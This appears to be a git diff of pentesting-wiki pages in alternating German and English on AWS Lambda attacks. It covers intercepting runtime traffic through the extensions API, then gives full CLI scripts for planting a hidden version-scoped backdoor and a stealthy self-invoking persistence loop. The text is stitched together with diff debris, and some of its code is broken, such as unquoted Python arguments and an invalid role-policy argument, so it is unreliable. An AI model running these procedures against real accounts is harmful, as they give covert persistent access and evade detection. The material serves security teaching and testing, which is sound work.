Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
Der Init (Rapid)-Prozess überwacht alle API-Anfragen unter [http://127.0.0.1:9001](http://127.0.0.1:9001/), während Lambda-Erweiterungen initialisiert und vor der Ausführung von Laufzeitcode, aber nach Rapid, ausgeführt werden.
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
Die Variable **`AWS_LAMBDA_RUNTIME_API`** gibt die **IP**-Adresse und die **Portnummer** der Rapid-API an **untergeordnete Laufzeitprozesse** und zusätzliche Erweiterungen weiter.
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
> [!WARNING]
> Durch Ändern der **`AWS_LAMBDA_RUNTIME_API`**-Umgebungsvariable auf einen **`Port`**, auf den wir Zugriff haben, ist es möglich, alle Aktionen innerhalb der Lambda-Laufzeit abzufangen (**man-in-the-middle**). Dies ist möglich, weil die Erweiterung mit denselben Berechtigungen wie Rapid Init läuft und der Kernel des Systems **Änderungen am Prozessspeicher** zulässt, was die Änderung der Portnummer ermöglicht.
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
Da **Erweiterungen vor jedem Laufzeitcode ausgeführt werden**, beeinflusst die Modifikation der Umgebungsvariable den Laufzeitprozess (z. B. Python, Java, Node, Ruby) beim Start. Darüber hinaus werden **nachfolgende Erweiterungen**, die auf dieser Variablen basieren, ebenfalls über unsere Erweiterung geleitet. Diese Konfiguration könnte Malware ermöglichen, Sicherheitsmaßnahmen oder Protokollierungserweiterungen direkt innerhalb der Laufzeitumgebung vollständig zu umgehen.
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
Das Tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) wurde entwickelt, um **Speicher zu schreiben** und **sensible Informationen** aus Lambda-Anfragen, anderen **Erweiterungsanfragen** und sogar **diese zu modifizieren**.
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
## Referenzen
## References
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,88 +0,0 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## Zusammenfassung
Erstelle eine versteckte Lambda-Version mit Angreifer-Logik und weise mittels des Parameters `--qualifier` in `lambda add-permission` eine resource-based policy genau dieser Version (oder eines Alias) zu. Erteile nur `lambda:InvokeFunction` für `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` an einen Angreifer-Principal. Normale Aufrufe über den Funktionsnamen oder den primären Alias bleiben unbeeinträchtigt, während der Angreifer die backdoored Version-ARN direkt aufrufen kann.
Das ist unauffälliger als das Exponieren einer Function URL und ändert den primären Traffic-Alias nicht.
## Erforderliche Berechtigungen (Angreifer)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
## Angriffsablauf (CLI)
<details>
<summary>Versteckte Version veröffentlichen, auf Qualifier beschränkte Berechtigung hinzufügen, als Angreifer aufrufen</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## Auswirkungen
- Gewährt eine stealthy Backdoor, um eine versteckte Version der Funktion aufzurufen, ohne das primäre Alias zu ändern oder eine Function URL offenzulegen.
- Beschränkt die Exposition nur auf die angegebene Version/Alias über die ressourcenbasierte Policy `Qualifier`, reduziert so die Erkennungsfläche und bewahrt gleichzeitig die zuverlässige Aufrufbarkeit für den Angreifer-Principal.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,95 +0,0 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
{{#include ../../../../banners/hacktricks-training.md}}
Missbrauche Lambda asynchronous destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich sich selbst neu aufzurufen, ganz ohne externen Scheduler (kein EventBridge, cron, etc.). Standardmäßig beendet Lambda rekursive Schleifen, aber das Setzen der recursion config auf Allow aktiviert sie wieder. Destinations liefern serverseitig bei asynchronen Invokes, sodass ein einzelner Seed-invoke einen unauffälligen, code-freien Heartbeat/Backdoor-Kanal erzeugt. Optional mit reserved concurrency drosseln, um das Noise-Level niedrig zu halten.
Hinweise
- Lambda erlaubt nicht, die Funktion direkt als eigenes destination zu konfigurieren. Verwende einen function alias als destination und erlaube der execution role, diesen Alias zu invoke.
- Mindestberechtigungen: Fähigkeit, die event invoke config und recursion config der Ziel-Funktion zu read/update, eine Version zu publishen und einen Alias zu manage, sowie die execution role policy der Funktion zu aktualisieren, um lambda:InvokeFunction auf dem Alias zu erlauben.
## Requirements
- Region: us-east-1
- Vars:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## Steps
1) Funktion-ARN und aktuelle Recursion-Einstellung ermitteln
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) Eine Version veröffentlichen und ein alias erstellen/aktualisieren (als self destination verwendet)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) Erlaube der Ausführungsrolle der Funktion, das Alias aufzurufen (erforderlich für Lambda Destinations→Lambda)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) Konfiguriere die asynchrone Destination auf den Alias (selbst über Alias) und deaktiviere Wiederholungsversuche
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) Rekursive Schleifen zulassen
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) Einen einzelnen asynchronen Aufruf auslösen
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) Beobachte kontinuierliche Aufrufe (Beispiele)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) Optionale verdeckte Drosselung
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## Bereinigung
Schleife unterbrechen und Persistenz entfernen.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## Auswirkungen
- Ein einzelner async invoke verursacht, dass Lambda sich kontinuierlich ohne externen Scheduler erneut aufruft und so heimliche persistence/heartbeat ermöglicht. Reserved concurrency kann den Lärm auf eine einzige warme Ausführung begrenzen.
{{#include ../../../../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More